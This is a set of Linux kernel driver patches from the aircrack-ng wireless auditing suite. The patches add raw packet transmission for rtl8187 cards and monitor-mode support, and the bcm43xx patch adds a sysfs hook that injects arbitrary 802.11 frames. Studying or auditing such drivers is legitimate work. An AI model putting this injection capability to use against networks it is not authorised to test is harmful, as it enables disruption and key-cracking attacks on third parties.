ieee80211_crypt_delayed_deinit( + ieee80211_crypt_delayed_deinit_rtl7( ieee, &ieee->crypt[i]); } } @@ -314,7 +379,7 @@ strcmp((*crypt)->ops->name, "WEP") != 0) { /* changing to use WEP; deinit previously used algorithm * on this key */ - ieee80211_crypt_delayed_deinit(ieee, crypt); + ieee80211_crypt_delayed_deinit_rtl7(ieee, crypt); } if (*crypt == NULL) { @@ -326,10 +391,10 @@ if (new_crypt == NULL) return -ENOMEM; memset(new_crypt, 0, sizeof(struct ieee80211_crypt_data)); - new_crypt->ops = ieee80211_get_crypto_ops("WEP"); + new_crypt->ops = ieee80211_get_crypto_ops_rtl7("WEP"); if (!new_crypt->ops) { - request_module("ieee80211_crypt_wep"); - new_crypt->ops = ieee80211_get_crypto_ops("WEP"); + request_module("ieee80211_crypt_wep_rtl"); + new_crypt->ops = ieee80211_get_crypto_ops_rtl7("WEP"); } if (new_crypt->ops && try_module_get(new_crypt->ops->owner)) @@ -340,7 +405,7 @@ new_crypt = NULL; printk(KERN_WARNING "%s: could not initialize WEP: " - "load module ieee80211_crypt_wep\n", + "load module ieee80211_crypt_wep_rtl\n", dev->name); return -EOPNOTSUPP; } @@ -418,7 +483,7 @@ return 0; } -int ieee80211_wx_get_encode(struct ieee80211_device *ieee, +int ieee80211_wx_get_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *keybuf) { @@ -430,7 +495,7 @@ if(ieee->iw_mode == IW_MODE_MONITOR) return -1; - + key = erq->flags & IW_ENCODE_INDEX; if (key) { if (key > WEP_KEYS) @@ -470,6 +535,6 @@ } -EXPORT_SYMBOL(ieee80211_wx_get_scan); -EXPORT_SYMBOL(ieee80211_wx_set_encode); -EXPORT_SYMBOL(ieee80211_wx_get_encode); +EXPORT_SYMBOL(ieee80211_wx_get_scan_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_encode_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_encode_rtl7); diff -Naur rtl8187_linux_26.1010.0622.2006_orig/ieee80211/Makefile rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/Makefile --- rtl8187_linux_26.1010.0622.2006_orig/ieee80211/Makefile 2006-06-05 22:57:54.000000000 -0400 +++ rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/Makefile 2008-08-12 13:11:33.000000000 -0400 @@ -17,6 +17,7 @@ KVER := $(shell uname -r) KSRC := /lib/modules/$(KVER)/build INSTALL_PREFIX := +PWD = $(shell pwd) all: modules diff -Naur rtl8187_linux_26.1010.0622.2006_orig/ieee80211/Modules.symvers rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/Modules.symvers --- rtl8187_linux_26.1010.0622.2006_orig/ieee80211/Modules.symvers 2006-06-05 22:57:56.000000000 -0400 +++ rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/Modules.symvers 1969-12-31 19:00:00.000000000 -0500 @@ -1,43 +0,0 @@ -0x232e7944 ieee80211_wlan_frequencies /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0xaeae102f free_ieee80211_rtl /usr/rtl8187_linux_2.6_05312006/ieee80211/ieee80211-rtl -0x279e265f ieee80211_crypt_deinit_handler net/ieee80211/ieee80211_crypt -0xc2411d91 ieee80211_stop_queue /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x6ece20e1 ieee80211_wx_get_name_rtl /usr/rtl8187_linux_2.6_05312006/ieee80211/ieee80211-rtl -0x5d3847ff ieee80211_rx_rtl /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x18612027 ieee80211_wx_get_scan_rtl /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0xa0e03ce1 ieee80211_wx_get_name /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0xee25f349 ieee80211_wx_get_mode /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x86013c3d ieee80211_wx_set_mode /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x04493cc0 ieee80211_wx_get_rate /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x6c6df3b4 ieee80211_wx_set_rate /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x82caec02 ieee80211_crypt_deinit_entries net/ieee80211/ieee80211_crypt -0x347945bf ieee80211_wx_get_power /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x6379d455 ieee80211_wx_set_power /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0xae62ed59 ieee80211_wx_set_scan /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x6621e172 ieee80211_wx_set_freq /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x0e052e06 ieee80211_wx_get_freq /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x283f9f5d ieee80211_unregister_crypto_ops net/ieee80211/ieee80211_crypt -0x9da79aac ieee80211_is_shortslot /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x666032dc ieee80211_wx_get_wap /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x9f1cbe0e ieee80211_wx_set_wap /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x73d1d341 ieee80211_wx_set_rawtx /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x2c714184 ieee80211_is_54g /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x6892d598 ieee80211_wpa_supplicant_ioctl /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0xc062f1f5 ieee80211_ps_tx_ack /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x55534906 ieee80211_get_beacon /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0xe2679638 ieee80211_crypt_delayed_deinit net/ieee80211/ieee80211_crypt -0x3a0456bc free_ieee80211 net/ieee80211/ieee80211 -0x7e1ef2c8 ieee80211_wake_queue /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0xc1b81e9f ieee80211_register_crypto_ops net/ieee80211/ieee80211_crypt -0x3f795a39 alloc_ieee80211 net/ieee80211/ieee80211 -0x89803c23 ieee80211_get_crypto_ops net/ieee80211/ieee80211_crypt -0xc6caf2a4 ieee80211_txb_free net/ieee80211/ieee80211 -0x49c1422c ieee80211_rx_mgt net/ieee80211/ieee80211 -0xbf2b4ebd alloc_ieee80211_rtl /usr/rtl8187_linux_2.6_05312006/ieee80211/ieee80211-rtl -0xd155f7b8 ieee80211_softmac_stop_protocol /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x9ce2dcde ieee80211_softmac_start_protocol /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x00d74bba ieee80211_wx_get_encode_rtl /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x92b5d996 ieee80211_wx_set_encode_rtl /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x2ac9bf95 ieee80211_wx_set_essid /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x7dc92e7f ieee80211_wx_get_essid /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0xd04740ca ieee80211_reset_queue /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl diff -Naur rtl8187_linux_26.1010.0622.2006_orig/ieee80211/.tmp_versions/ieee80211_crypt_ccmp-rtl.mod rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/.tmp_versions/ieee80211_crypt_ccmp-rtl.mod --- rtl8187_linux_26.1010.0622.2006_orig/ieee80211/.tmp_versions/ieee80211_crypt_ccmp-rtl.mod 2006-06-05 22:57:54.000000000 -0400 +++ rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/.tmp_versions/ieee80211_crypt_ccmp-rtl.mod 2008-08-12 13:11:33.000000000 -0400 @@ -1,2 +1,2 @@ -/usr/rtl8187_linux_2.6_06012006/ieee80211/ieee80211_crypt_ccmp-rtl.ko -/usr/rtl8187_linux_2.6_06012006/ieee80211/ieee80211_crypt_ccmp.o +/home/pete/rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_crypt_ccmp-rtl.ko +/home/pete/rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_crypt_ccmp.o diff -Naur rtl8187_linux_26.1010.0622.2006_orig/ieee80211/.tmp_versions/ieee80211_crypt-rtl.mod rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/.tmp_versions/ieee80211_crypt-rtl.mod --- rtl8187_linux_26.1010.0622.2006_orig/ieee80211/.tmp_versions/ieee80211_crypt-rtl.mod 2006-06-05 22:57:54.000000000 -0400 +++ rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/.tmp_versions/ieee80211_crypt-rtl.mod 2008-08-12 13:11:33.000000000 -0400 @@ -1,2 +1,2 @@ -/usr/rtl8187_linux_2.6_06012006/ieee80211/ieee80211_crypt-rtl.ko -/usr/rtl8187_linux_2.6_06012006/ieee80211/ieee80211_crypt.o +/home/pete/rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_crypt-rtl.ko +/home/pete/rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_crypt.o diff -Naur rtl8187_linux_26.1010.0622.2006_orig/ieee80211/.tmp_versions/ieee80211_crypt_tkip-rtl.mod rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/.tmp_versions/ieee80211_crypt_tkip-rtl.mod --- rtl8187_linux_26.1010.0622.2006_orig/ieee80211/.tmp_versions/ieee80211_crypt_tkip-rtl.mod 2006-06-05 22:57:54.000000000 -0400 +++ rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/.tmp_versions/ieee80211_crypt_tkip-rtl.mod 2008-08-12 13:11:33.000000000 -0400 @@ -1,2 +1,2 @@ -/usr/rtl8187_linux_2.6_06012006/ieee80211/ieee80211_crypt_tkip-rtl.ko -/usr/rtl8187_linux_2.6_06012006/ieee80211/ieee80211_crypt_tkip.o +/home/pete/rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_crypt_tkip-rtl.ko +/home/pete/rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_crypt_tkip.o diff -Naur rtl8187_linux_26.1010.0622.2006_orig/ieee80211/.tmp_versions/ieee80211_crypt_wep-rtl.mod rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/.tmp_versions/ieee80211_crypt_wep-rtl.mod --- rtl8187_linux_26.1010.0622.2006_orig/ieee80211/.tmp_versions/ieee80211_crypt_wep-rtl.mod 2006-06-05 22:57:54.000000000 -0400 +++ rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/.tmp_versions/ieee80211_crypt_wep-rtl.mod 2008-08-12 13:11:33.000000000 -0400 @@ -1,2 +1,2 @@ -/usr/rtl8187_linux_2.6_06012006/ieee80211/ieee80211_crypt_wep-rtl.ko -/usr/rtl8187_linux_2.6_06012006/ieee80211/ieee80211_crypt_wep.o +/home/pete/rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_crypt_wep-rtl.ko +/home/pete/rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_crypt_wep.o diff -Naur rtl8187_linux_26.1010.0622.2006_orig/ieee80211/.tmp_versions/ieee80211-rtl.mod rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/.tmp_versions/ieee80211-rtl.mod --- rtl8187_linux_26.1010.0622.2006_orig/ieee80211/.tmp_versions/ieee80211-rtl.mod 2006-06-05 22:57:54.000000000 -0400 +++ rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/.tmp_versions/ieee80211-rtl.mod 2008-08-12 13:11:33.000000000 -0400 @@ -1,2 +1,2 @@ -/usr/rtl8187_linux_2.6_06012006/ieee80211/ieee80211-rtl.ko -/usr/rtl8187_linux_2.6_06012006/ieee80211/ieee80211_softmac.o /usr/rtl8187_linux_2.6_06012006/ieee80211/ieee80211_rx.o /usr/rtl8187_linux_2.6_06012006/ieee80211/ieee80211_tx.o /usr/rtl8187_linux_2.6_06012006/ieee80211/ieee80211_wx.o /usr/rtl8187_linux_2.6_06012006/ieee80211/ieee80211_module.o /usr/rtl8187_linux_2.6_06012006/ieee80211/ieee80211_softmac_wx.o +/home/pete/rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211-rtl.ko +/home/pete/rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_softmac.o /home/pete/rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_rx.o /home/pete/rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_tx.o /home/pete/rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_wx.o /home/pete/rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_module.o /home/pete/rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_softmac_wx.o diff -Naur rtl8187_linux_26.1010.0622.2006_orig/makedrv~ rtl8187_linux_26.1010.0622.2006_rawtx/makedrv~ --- rtl8187_linux_26.1010.0622.2006_orig/makedrv~ 2006-09-05 07:21:10.000000000 -0400 +++ rtl8187_linux_26.1010.0622.2006_rawtx/makedrv~ 1969-12-31 19:00:00.000000000 -0500 @@ -1,13 +0,0 @@ -#!/bin/sh - -#tar -zxvf stack.tar.gz -#tar -zxvf drv.tar.gz -cd ieee80211 -make clean -make -cd ../beta-8187 -make clean -make -cd .. - - diff -Naur rtl8187_linux_26.1010.0622.2006_orig/Makefile rtl8187_linux_26.1010.0622.2006_rawtx/Makefile --- rtl8187_linux_26.1010.0622.2006_orig/Makefile 1969-12-31 19:00:00.000000000 -0500 +++ rtl8187_linux_26.1010.0622.2006_rawtx/Makefile 2008-08-12 13:11:33.000000000 -0400 @@ -0,0 +1,38 @@ +prefix = /lib/modules/$(shell uname -r)/kernel/drivers/net/wireless +r8187dir = $(prefix)/rtl8187 +ieeedir = $(prefix)/rtl_ieee80211 + +default: all + +all: + -rm -f ieee80211/Module.symvers 2>/dev/null + -rm -f ieee80211/Modules.symvers 2>/dev/null + $(MAKE) -C ieee80211 $(@) + -chmod +x symvers + -./symvers + $(MAKE) -C beta-8187 $(@) + +install: + install -d $(ieeedir) + install -d $(r8187dir) + install -m 644 ./ieee80211/*.ko $(ieeedir) + install -m 644 ./beta-8187/*.ko $(r8187dir) + -depmod -ae + +uninstall: + -rm -f $(ieeedir)/ieee80211-rtl.ko + -rm -f $(ieeedir)/ieee80211_crypt-rtl.ko + -rm -f $(ieeedir)/ieee80211_crypt_ccmp-rtl.ko + -rm -f $(ieeedir)/ieee80211_crypt_tkip-rtl.ko + -rm -f $(ieeedir)/ieee80211_crypt_wep-rtl.ko + -rm -f $(r8187dir)/r8187.ko + -rm -fr $(ieeedir) + -rm -fr $(r8187dir) + -depmod -ae + +clean: + $(MAKE) -C ieee80211 $(@) + $(MAKE) -C beta-8187 $(@) + +distclean: clean + diff -Naur rtl8187_linux_26.1010.0622.2006_orig/ReadMe.txt~ rtl8187_linux_26.1010.0622.2006_rawtx/ReadMe.txt~ --- rtl8187_linux_26.1010.0622.2006_orig/ReadMe.txt~ 2006-06-06 10:58:00.000000000 -0400 +++ rtl8187_linux_26.1010.0622.2006_rawtx/ReadMe.txt~ 1969-12-31 19:00:00.000000000 -0500 @@ -1,129 +0,0 @@ -Release Date: 2006-01-13, ver 1.1 -RTL8187 Linux driver version 1.1 - - --This driver supports RealTek RTL8187 Wireless LAN driver for - Fedora Core 2/3/4/5, Debian 3.1, Mandrake 10.2/Mandriva 2006, - SUSE 9.3/10.1/10.2, Gentoo 3.1, etc. - - Support Client mode for either infrastructure or adhoc mode - - Support WEP and WPAPSK connection - -< Component > -The driver is composed of several parts: - 1. Module source code - stack.tar.gz - drv.tar.gz - - 2. Script ot build the modules - makedrv - - 3. Script to load/unload modules - wlan0up - wlan0down - - 4. Script and configuration for DHCP - wlan0dhcp - ifcfg-wlan0 - 4. Supplicant source code: - wpa_supplicant-0.4.9.tar.gz - - 5. Example of supplicant configuration file: - wpa1.conf - -< Installation > -Runing the scripts can finish all operations of building up modules -from the source code and start the nic. - 1. Build up the drivers from the source code - ./makedrv - - 2. load the driver module to kernel and start up nic - ./wlan0up - -< Set wireless lan MIBs > -This driver uses Wireless Extension as an interface allowing you to set -Wireless LAN specific parameters. - -Current driver supports "iwlist" to show the device status of nic - iwlist wlan0 [parameters] -where - parameter explaination [parameters] - ----------------------- ------------- - Show available chan and freq freq / channel - Show and Scan BSS and IBSS scan[ning] - Show supported bit-rate rate / bit[rate] - Show Power Management mode power - -For example: - iwlist wlan0 channel - iwlist wlan0 scan - iwlist wlan0 rate - iwlist wlan0 power - -Driver also supports "iwconfig", manipulate driver private ioctls, to set -MIBs. - - iwconfig wlan0 [parameters] [val] -where - parameter explaination [parameters] [val] constraints - ----------------------- ------------- ------------------ - Connect to AP by address ap [mac_addr] - Set the essid, join (I)BSS essid [essid] - Set operation mode mode {Managed|Ad-hoc} - Set keys and security mode key/enc[ryption] {N|open|restricted|off} - -For example: - iwconfig wlan0 ap XX:XX:XX:XX:XX:XX - iwconfig wlan0 essid "ap_name" - iwconfig wlan0 mode Ad-hoc - iwconfig wlan0 mode essid "name" mode Ad-hoc - iwconfig wlan0 key 0123456789 [2] open - iwconfig wlan0 key off - iwconfig wlan0 key restricted [3] 0123456789 - -< Getting IP address > -After start up the nic, the network needs to obtain an IP address before -transmit/receive data. -This can be done by setting the static IP via "ifconfig wlan0 IP_ADDRESS" -command, or using DHCP. - -If using DHCP, setting steps is as below: - (1)connect to an AP via "iwconfig" settings - iwconfig wlan0 essid [name] or - iwconfig wlan0 ap XX:XX:XX:XX:XX:XX - - (2)run the script which run the dhclient - ./wlan0dhcp - -< WPAPSK > -WPA_SUPPLICANT help the network to communicate under the protection of WPAPSK -mechanism - - (1)Unpack source code of WPA supplicant: - tar -zxvf wpa_supplicant-0.4.9.tar.gz - cd wpa_supplicant-0.4.9 - - (2)Create .config file: - cp defconfig .config - - (3)Edit .config file, uncomment the following line: - #CONFIG_DRIVER_IPW=y. - - (4)Build WPA supplicant: - make - - (5)Edit wpa_supplicant.conf to set up SSID and its passphrase. - For example, the following setting in "wpa1.conf" means SSID - to join is "BufAG54_Ch6" and its passphrase is "87654321". - network={ - ssid="BufAG54_Ch6" - proto=WPA - key_mgmt=WPA-PSK - pairwise=CCMP TKIP - group=CCMP TKIP WEP104 WEP40 - psk="87654321" - priority=2 - } - - (6)Execute WPA supplicant (Assume 8187 and related modules had been - loaded): - ./wpa_supplicant -D ipw -c wpa1.conf -i wlan0 & - diff -Naur rtl8187_linux_26.1010.0622.2006_orig/symvers rtl8187_linux_26.1010.0622.2006_rawtx/symvers --- rtl8187_linux_26.1010.0622.2006_orig/symvers 1969-12-31 19:00:00.000000000 -0500 +++ rtl8187_linux_26.1010.0622.2006_rawtx/symvers 2008-08-12 13:11:33.000000000 -0400 @@ -0,0 +1,25 @@ +#!/bin/sh + +cd beta-8187 + +if [ -e Module.symvers ] +then + rm Module.symvers +fi + +if [ -e Modules.symvers ] +then + rm Modules.symvers +fi + +if [ -e ../ieee80211/Module.symvers ] +then + ln -sf ../ieee80211/Module.symvers ./ +fi + +if [ -e ../ieee80211/Modules.symvers ] +then + ln -sf ../ieee80211/Modules.symvers ./ +fi + +cd .. diff -Naur rtl8187_linux_26.1010.0622.2006_orig/wlan0rmv rtl8187_linux_26.1010.0622.2006_rawtx/wlan0rmv --- rtl8187_linux_26.1010.0622.2006_orig/wlan0rmv 2006-09-05 07:21:10.000000000 -0400 +++ rtl8187_linux_26.1010.0622.2006_rawtx/wlan0rmv 2008-08-12 13:11:33.000000000 -0400 @@ -1,5 +1,9 @@ #!/bin/bash -rmmod r8180 -rmmod ieee80211_r8180 -rmmod ieee80211_crypt_r8180 +rmmod rtl8187 2>/dev/null +rmmod r8187 2>/dev/null +rmmod ieee80211_rtl 2>/dev/null +rmmod ieee80211_crypt_ccmp_rtl 2>/dev/null +rmmod ieee80211_crypt_tkip_rtl 2>/dev/null +rmmod ieee80211_crypt_wep_rtl 2>/dev/null +rmmod ieee80211_crypt_rtl 2>/dev/null aircrack-ng-1.2-beta3/patches/bcm43xx-injection-linux-2.6.20.patch0000644000000000000000000000566410761053203023037 0ustar rootroot--- linux/drivers/net/wireless/bcm43xx/bcm43xx_main.c 2007-04-17 16:39:08.000000000 +0200 +++ linux-bcm43xx-patch/drivers/net/wireless/bcm43xx/bcm43xx_main.c 2007-04-20 00:09:09.000000000 +0200 @@ -104,6 +104,13 @@ #endif /* CONFIG_BCM43XX_DEBUG*/ +static ssize_t bcm43xx_inject_nofcs(struct device *dev, + struct device_attribute *attr, + const char *buf, + size_t cnt); +static DEVICE_ATTR(inject_nofcs, 0200, + NULL, bcm43xx_inject_nofcs); + /* If you want to debug with just a single device, enable this, * where the string is the pci device ID (as given by the kernel's * pci_name function) of the device to be used. @@ -3365,6 +3372,8 @@ static void bcm43xx_free_board(struct bcm43xx_private *bcm) { bcm43xx_rng_exit(bcm); + + device_remove_file(&bcm->pci_dev->dev, &dev_attr_inject_nofcs); bcm43xx_sysfs_unregister(bcm); bcm43xx_periodic_tasks_delete(bcm); @@ -3636,6 +3645,10 @@ err = bcm43xx_rng_init(bcm); if (err) goto err_sysfs_unreg; + + err = device_create_file(&bcm->pci_dev->dev, &dev_attr_inject_nofcs); + if (err) + goto err_inject_if; bcm43xx_periodic_tasks_setup(bcm); /*FIXME: This should be handled by softmac instead. */ @@ -3645,7 +3658,8 @@ mutex_unlock(&(bcm)->mutex); return err; - +err_inject_if: + device_remove_file(&bcm->pci_dev->dev, &dev_attr_inject_nofcs); err_sysfs_unreg: bcm43xx_sysfs_unregister(bcm); err_wlshutdown: @@ -3892,6 +3906,48 @@ return err; } +static ssize_t bcm43xx_inject_nofcs(struct device *dev, + struct device_attribute *attr, + const char *buf, + size_t cnt) +{ + struct bcm43xx_private *bcm = dev_to_bcm(dev); + struct ieee80211_txb *faketxb; + struct sk_buff *skb; + unsigned long flags; + int err = -ENODEV; + + faketxb = kzalloc(sizeof(struct ieee80211_txb) + sizeof(void *), GFP_KERNEL); + if (!faketxb) + return -ENOMEM; + faketxb->nr_frags = 1; + faketxb->frag_size = cnt; + faketxb->payload_size = cnt; + skb = __dev_alloc_skb(cnt + bcm->ieee->tx_headroom, GFP_KERNEL); + if (!skb) { + kfree(faketxb); + return -ENOMEM; + } + skb_reserve(skb, bcm->ieee->tx_headroom); + memcpy(skb_put(skb, cnt), buf, cnt); + faketxb->fragments[0] = skb; + + spin_lock_irqsave(&bcm->irq_lock, flags); + + if (likely(bcm43xx_status(bcm) == BCM43xx_STAT_INITIALIZED)) + err = bcm43xx_tx(bcm, faketxb); + + spin_unlock_irqrestore(&bcm->irq_lock, flags); + + if (unlikely(err)) { + dev_kfree_skb(skb); + kfree(faketxb); + return err; + } + + return cnt; +} + static void bcm43xx_ieee80211_set_chan(struct net_device *net_dev, u8 channel) { aircrack-ng-1.2-beta3/patches/rtl8187_2.6.35-monitor_only.patch0000644000000000000000000161646211446473441022421 0ustar rootrootdiff -Naur rtl8187_linux_26.1010.0622.2006/beta-8187/ieee80211_crypt.h rtl8187_linux_26.1010.0622.2006.modified/beta-8187/ieee80211_crypt.h --- rtl8187_linux_26.1010.0622.2006/beta-8187/ieee80211_crypt.h 2006-06-05 19:58:02.000000000 -0700 +++ rtl8187_linux_26.1010.0622.2006.modified/beta-8187/ieee80211_crypt.h 2010-05-19 22:18:51.849360466 -0700 @@ -75,12 +75,12 @@ atomic_t refcnt; }; -int ieee80211_register_crypto_ops(struct ieee80211_crypto_ops *ops); -int ieee80211_unregister_crypto_ops(struct ieee80211_crypto_ops *ops); -struct ieee80211_crypto_ops * ieee80211_get_crypto_ops(const char *name); -void ieee80211_crypt_deinit_entries(struct ieee80211_device *, int); -void ieee80211_crypt_deinit_handler(unsigned long); -void ieee80211_crypt_delayed_deinit(struct ieee80211_device *ieee, +int ieee80211_register_crypto_ops_rtl7(struct ieee80211_crypto_ops *ops); +int ieee80211_unregister_crypto_ops_rtl7(struct ieee80211_crypto_ops *ops); +struct ieee80211_crypto_ops * ieee80211_get_crypto_ops_rtl7(const char *name); +void ieee80211_crypt_deinit_entries_rtl7(struct ieee80211_device *, int); +void ieee80211_crypt_deinit_handler_rtl7(unsigned long); +void ieee80211_crypt_delayed_deinit_rtl7(struct ieee80211_device *ieee, struct ieee80211_crypt_data **crypt); #endif diff -Naur rtl8187_linux_26.1010.0622.2006/beta-8187/ieee80211.h rtl8187_linux_26.1010.0622.2006.modified/beta-8187/ieee80211.h --- rtl8187_linux_26.1010.0622.2006/beta-8187/ieee80211.h 2006-06-05 19:58:02.000000000 -0700 +++ rtl8187_linux_26.1010.0622.2006.modified/beta-8187/ieee80211.h 2010-05-19 22:18:51.852693450 -0700 @@ -120,7 +120,7 @@ static inline unsigned long msleep_interruptible_rtl(unsigned int msecs) { unsigned long timeout = MSECS(msecs) + 1; - + while (timeout) { set_current_state(TASK_UNINTERRUPTIBLE); timeout = schedule_timeout(timeout); @@ -156,6 +156,22 @@ struct list_head list; }; +#define LWNG_CAP_DID_BASE (4 | (1 << 6)) /* section 4, group 1 */ +/* ARPHRD_IEEE80211_PRISM uses a bloated version of Prism2 RX frame header + * (from linux-wlan-ng) */ +struct linux_wlan_ng_val { + u32 did; + u16 status, len; + u32 data; +} __attribute__ ((packed)); + +struct linux_wlan_ng_prism_hdr { + u32 msgcode, msglen; + char devname[16]; + struct linux_wlan_ng_val hosttime, mactime, channel, rssi, sq, signal, + noise, rate, istx, frmlen; +} __attribute__ ((packed)); + struct ieee80211_hdr { u16 frame_ctl; u16 duration_id; @@ -798,7 +814,7 @@ /* the card is not linked at all */ IEEE80211_NOLINK = 0, - + /* IEEE80211_ASSOCIATING* are for BSS client mode * the driver shall not perform RX filtering unless * the state is LINKED. @@ -806,31 +822,31 @@ * defaults to NOLINK for ALL the other states (including * LINKED_SCANNING) */ - + /* the association procedure will start (wq scheduling)*/ IEEE80211_ASSOCIATING, IEEE80211_ASSOCIATING_RETRY, - + /* the association procedure is sending AUTH request*/ IEEE80211_ASSOCIATING_AUTHENTICATING, - + /* the association procedure has successfully authentcated * and is sending association request */ IEEE80211_ASSOCIATING_AUTHENTICATED, - + /* the link is ok. the card associated to a BSS or linked * to a ibss cell or acting as an AP and creating the bss */ IEEE80211_LINKED, - + /* same as LINKED, but the driver shall apply RX filter * rules as we are in NO_LINK mode. As the card is still * logically linked, but it is doing a syncro site survey * then it will be back to LINKED state. */ IEEE80211_LINKED_SCANNING, - + }; #define DEFAULT_MAX_SCAN_AGE (15 * HZ) @@ -840,14 +856,14 @@ #if (LINUX_VERSION_CODE <= KERNEL_VERSION(2,6,11)) -extern inline int is_multicast_ether_addr(const u8 *addr) +extern inline int is_multicast_ether_addr_rtl7(const u8 *addr) { return ((addr[0] != 0xff) && (0x01 & addr[0])); } #endif #if (LINUX_VERSION_CODE <= KERNEL_VERSION(2,6,13)) -extern inline int is_broadcast_ether_addr(const u8 *addr) +extern inline int is_broadcast_ether_addr_rtl7(const u8 *addr) { return ((addr[0] == 0xff) && (addr[1] == 0xff) && (addr[2] == 0xff) && \ (addr[3] == 0xff) && (addr[4] == 0xff) && (addr[5] == 0xff)); @@ -870,7 +886,7 @@ struct net_device_stats stats; struct ieee80211_stats ieee_stats; struct ieee80211_softmac_stats softmac_stats; - + /* Probe / Beacon management */ struct list_head network_free_list; struct list_head network_list; @@ -881,7 +897,7 @@ int iw_mode; /* operating mode (IW_MODE_*) */ spinlock_t lock; - + int tx_headroom; /* Set to size of any additional room needed at front * of allocated Tx SKBs */ u32 config; @@ -924,11 +940,11 @@ * ad-hoc is a mixture ;-). * Note that in infrastructure mode, even when not associated, * fields bssid and essid may be valid (if wpa_set and essid_set - * are true) as thy carry the value set by the user via iwconfig + * are true) as thy carry the value set by the user via iwconfig */ struct ieee80211_network current_network; - + enum ieee80211_state state; int short_slot; @@ -936,33 +952,33 @@ int modulation; /* CCK, OFDM */ int freq_band; /* 2.4Ghz, 5.2Ghz, Mixed */ int abg_true; /* ABG flag */ - - /* used for forcing the ibss workqueue to terminate + + /* used for forcing the ibss workqueue to terminate * without wait for the syncro scan to terminate */ - short sync_scan_hurryup; - + short sync_scan_hurryup; + /* map of allowed channels. 0 is dummy */ // FIXME: remeber to default to a basic channel plan depending of the PHY type int channel_map[MAX_CHANNEL_NUMBER+1]; - + int rate; /* current rate */ int basic_rate; //FIXME: pleace callback, see if redundant with softmac_features short active_scan; - + /* this contains flags for selectively enable softmac support */ u16 softmac_features; - + /* if the sequence control field is not filled by HW */ u16 seq_ctrl; - + /* association procedure transaction sequence number */ u16 associate_seq; - + /* AID for RTXed association responses */ u16 assoc_id; - + /* power save mode related*/ short ps; short sta_sleep; @@ 